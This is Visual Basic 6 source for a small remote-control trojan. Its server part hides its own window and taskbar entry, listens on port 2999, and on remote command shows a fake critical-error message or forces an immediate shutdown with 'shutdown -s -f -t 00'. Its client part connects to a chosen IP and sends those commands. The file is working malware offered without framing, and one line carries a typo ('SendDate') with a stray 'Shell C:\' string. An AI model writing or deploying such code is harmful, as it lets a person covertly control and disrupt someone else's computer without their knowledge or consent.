Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    win.LocalPort = 2999
    win.RemotePort = 455
    win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long)
    win.Close
    win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
   win.GetData GotDat
   DoActions (GotDat)
End Sub

Public Function DoActions(x As String)

Select Case x
       Case "msgbox"
            MsgBox "The file C:\windows\getboobies.exe has caused an error and will be terminated", vbCritical, "Critical Error"

       Case "shutdown"
            Shell "shutdown -s -f -t 00"
End Select
End Function

Private Sub cmdConnect_Click()
    IpAddy = txtIP.Text
    Win.Close
    Win.RemotePort = 2999
    Win.RemoteHost = IpAddy
    Win.LocalPort = 9999
    Win.Connect
    cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
    Win.Close
    cmdConnect.Enabled = True
End Sub
         
Private Sub cmdMsgbox_Click()
    Win.SendData "msgbox"
    Win.SendDate "Shell C:\"
End Sub

Private Sub cmdShutdown_Click()
    Win.SendData "shutdown"
End Sub